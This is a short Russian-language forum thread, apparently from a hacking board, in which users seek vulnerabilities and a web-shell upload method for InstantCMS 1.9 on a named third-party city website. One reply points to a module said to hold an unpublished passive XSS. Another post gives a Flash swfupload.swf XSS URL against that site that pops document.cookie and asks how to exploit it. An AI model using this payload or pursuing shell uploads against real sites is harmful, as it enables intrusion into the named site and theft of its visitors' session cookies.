Обзор уязвимостей InstantCMS

для версии 1,9 есть какая нибудь информация с уязвимостями и заливкой шела?
интересуют уязвимости на этом сайте http://gorod38.ru/ . вроде как версия 1,9. поправьте если ошибаюсь

 

companions/search, копайте этот модуль - есть там пассивка. Вроде бы даже в паблике ее нет.

 

нашел еще такое

Code:

http://gorod38.ru/includes/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

так это можно использовать?